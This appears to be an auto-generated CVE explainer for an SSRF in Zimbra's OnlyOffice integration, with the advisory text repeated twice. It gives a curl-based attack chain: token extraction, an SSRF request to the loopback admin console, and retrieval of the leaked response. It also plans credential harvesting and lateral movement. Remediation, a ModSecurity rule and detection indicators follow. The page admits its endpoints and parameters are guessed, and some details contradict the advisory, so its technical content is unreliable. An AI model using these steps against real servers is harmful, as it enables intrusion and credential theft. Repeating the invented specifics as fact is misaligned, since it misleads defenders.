CVE-2026-93644 — CWE-863 · CWE-918
A server-side request forgery vulnerability in the OnlyOffice integration of Zimbra Collaboration Suite (ZCS) allows a holder of an editor token to retrieve information from HTTP services reachable by the document server. The downloadas handler accepts an unsigned, attacker-selected source URL for the savefromorigin operation, and the bundled request policy permits private, loopback and metadata destinations. An ordinary mailbox user can obtain a token from an accessible document; an unauthenticated attacker can obtain one from an existing supported public Briefcase document. The attacker can retrieve convertible response content through the public printfile handler without victim interaction. The request is an HTTP GET and does not provide arbitrary request headers or a request body. Depending on the reachable services, the disclosed content can include internal service information or credentials exposed by an unauthenticated endpoint. ZCS 10.1.16 through 10.1.21 are affected.
A server-side request forgery vulnerability in the OnlyOffice integration of Zimbra Collaboration Suite (ZCS) allows a holder of an editor token to retrieve information from HTTP services reachable by the document server. The downloadas handler accepts an unsigned, attacker-selected source URL for the savefromorigin operation, and the bundled request policy permits private, loopback and metadata destinations. An ordinary mailbox user can obtain a token from an accessible document; an unauthenticated attacker can obtain one from an existing supported public Briefcase document. The attacker can retrieve convertible response content through the public printfile handler without victim interaction. The request is an HTTP GET and does not provide arbitrary request headers or a request body. Depending on the reachable services, the disclosed content can include internal service information or credentials exposed by an unauthenticated endpoint. ZCS 10.1.16 through 10.1.21 are affected.
🎯 What is this vulnerability?
CVE‑2026‑93644 is a Server‑Side Request Forgery (SSRF) that occurs in the OnlyOffice integration of Zimbra Collaboration Suite (ZCS) versions 10.1.16 through 10.1.21.
The flaw is a combination of two missing checks:
1. Missing validation of the source URL – The downloadas handler accepts an unsigned, attacker‑selected source parameter that points to any HTTP(S) endpoint. The bundled request policy does not block private, loopback, or metadata destinations, so the server will forward the request to internal services.
2. Missing authorization on the token – The downloadas operation requires an editor token, but that token can be obtained in two ways:
* An ordinary mailbox user can retrieve a token from an accessible document (the token is embedded in the document URL or returned in a response header).
* An unauthenticated attacker can obtain a token from an existing public Briefcase document that is already shared with the world.
Because the request is a simple HTTP GET with no custom headers or body, the SSRF is straightforward to trigger. The printfile handler, which is publicly accessible, can then be used to read the response from the internal request and return it to the attacker, effectively leaking internal data or credentials.
The vulnerability is mapped to:
- CWE‑863 – Missing Authorization (the token is not properly checked).
- CWE‑918 – Server‑Side Request Forgery (the server blindly follows the attacker‑supplied URL).
The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N reflects a high‑confidentiality impact with no integrity or availability damage.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker could follow. All examples use curl; the exact endpoint names (/onlyoffice/downloadas, /onlyoffice/printfile, etc.) are illustrative because the CVE description does not publish the precise URI or parameter names.
1. Discovery & Reconnaissance
| Step | What to look for | How to find it |
|---|---|---|
| Identify ZCS | HTTP headers, /version endpoint, or /api/version | curl -I https://zcs.example.com → look for X-Zimbra-Version or Zimbra-Version |
| Check OnlyOffice integration | Presence of /onlyoffice/ paths | curl -I https://zcs.example.com/onlyoffice/ |
| Locate a public Briefcase document | GET /briefcase or GET /briefcase/documents | Enumerate /briefcase resources; look for ?shared=true or public flag |
| Verify token exposure | Inspect document URLs or responses for a token= query string | curl -I https://zcs.example.com/briefcase/doc/123 |
Note: If a public Briefcase document exists, the attacker can obtain a valid editor token without authenticating.
2. Exploitation
2.1. Obtain an editor token
# Example: Public Briefcase document URL
PUBLIC_DOC="https://zcs.example.com/briefcase/doc/123?token=abcd1234"
# Extract the token
TOKEN=$(echo "$PUBLIC_DOC" | grep -oP '(?<=token=)[^&]+')
echo "Token: $TOKEN"If the token is embedded in a cookie instead, capture it from the Set-Cookie header.2.2. Trigger the SSRF
# Target internal service (e.g., ZCS admin console)
INTERNAL_URL="http://127.0.0.1:7071/admin"
# Craft the SSRF request
curl -X GET "https://zcs.example.com/onlyoffice/downloadas?source=$INTERNAL_URL" \
-H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code}\n"Illustrative endpoint: /onlyoffice/downloadas.
The source parameter is the attacker‑supplied URL.
The request is a plain GET; no custom headers or body are required.
2.3. Retrieve the internal response via printfile
# Assume the SSRF response is stored in a temporary file ID 456
FILE_ID="456"
# Use the public printfile handler to fetch the content
curl -X GET "https://zcs.example.com/onlyoffice/printfile?fileId=$FILE_ID" \
-H "Authorization: Bearer $TOKEN" \
-o leaked_content.txtThe printfile handler returns the content of the internal request, effectively exfiltrating data.2.4. Verify the leak
cat leaked_content.txtIf the internal service is an unauthenticated endpoint, you might see credentials or configuration data.
If it is a protected API, you may still get a 401/403 response, but the SSRF can be used to enumerate services.
3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Internal network enumeration | Repeated SSRF requests to /internal/api/health, /internal/api/status, etc. |
| Credential harvesting | Target known internal services that expose credentials (e.g., database admin pages, internal LDAP). |
| Privilege escalation | If the internal service is privileged (e.g., ZCS admin console), the attacker can use the SSRF to retrieve admin credentials or configuration files that grant higher privileges. |
| Lateral movement | Use the leaked credentials to authenticate to other internal hosts or services. |
| Data exfiltration | Store the leaked data in a staging area or send it to an external server via the SSRF itself. |
The SSRF does not provide arbitrary request headers or a request body, so the attacker is limited to GET requests. However, many internal services expose useful information via GET (e.g.,/status,/config,/health).
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality | High – The attacker can read any internal HTTP(S) resource that the ZCS server can reach, including sensitive configuration files, credentials, or internal APIs. |
| Integrity | None – The SSRF does not modify data. |
| Availability | None – The SSRF does not disrupt services. |
Practical consequences for an affected ZCS deployment:
1. Internal service enumeration – Attackers can map the internal network topology, discover services, and identify potential attack vectors.
2. Credential theft – If internal services expose credentials (e.g., database admin pages, LDAP, internal APIs), those can be harvested.
3. Privilege escalation – Leaked admin credentials can be used to gain higher privileges within the organization’s IT environment.
4. Lateral movement – Once credentials are obtained, attackers can move laterally to other systems, potentially compromising the entire network.
5. Data exfiltration – Sensitive documents or configuration data can be exfiltrated without the victim’s knowledge.
🛡️ Remediation & Mitigation
1. Patching
| Affected Versions | Fix |
|---|---|
| ZCS 10.1.16 – 10.1.21 | Upgrade to ZCS 10.1.22 or later. The patch removes the SSRF by validating the source URL against a whitelist and enforcing proper token authorization. |
Action: Verify the current ZCS version (/api/versionorX-Zimbra-Versionheader) and apply the latest update from the official Zimbra repository.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable OnlyOffice integration | Remove or comment out the OnlyOffice plugin configuration in zimbra.properties or the relevant XML config. |
| Block the vulnerable endpoints | Add firewall or reverse‑proxy rules to deny access to /onlyoffice/downloadas and /onlyoffice/printfile. |
| Restrict token usage | Force token validation by requiring the Authorization header or a signed JWT; reject unsigned tokens. |
| Enforce request policy | Configure the request policy to block private, loopback, and metadata destinations. In ZCS, set onlyoffice.request.policy=public (example; actual property name may differ). |
| WAF/ModSecurity rule | Add a rule that blocks requests to /onlyoffice/downloadas where the source parameter contains an IP in the private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1, ::1) or the AWS/Google metadata service URLs. |
Example ModSecurity rule (illustrative):
> SecRule REQUEST_URI "@beginsWith /onlyoffice/downloadas" \ > "id:100001,phase:2,block,msg:'SSRF attempt via OnlyOffice downloadas',\ > chain" > SecRule REQUEST_HEADERS:source "@rx (10\.|172\.1[6-9]|172\.2[0-9]|172\.3[0-1]|192\.168\.|127\.0\.0\.1|169\.254\.|::1)" \ > "t:none" >
3. Detection
| Log Indicator | What to look for |
|---|---|
| Endpoint access | Requests to /onlyoffice/downloadas or /onlyoffice/printfile with a source or url parameter. |
| Internal IPs | source values containing 127.0.0.1, 10., 172.16-31., 192.168., or 169.254.. |
| Unusual response codes | 200 responses from internal services (e.g., /admin, /status) that should not be publicly accessible. |
| High request volume | Multiple SSRF attempts from a single IP or user agent. |
Example log snippet (illustrative):
> 2026-12-03T14:22:07Z 192.0.2.45 GET /onlyoffice/downloadas?source=http://127.0.0.1:7071/admin HTTP/1.1 > 2026-12-03T14:22:07Z 192.0.2.45 200 >
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query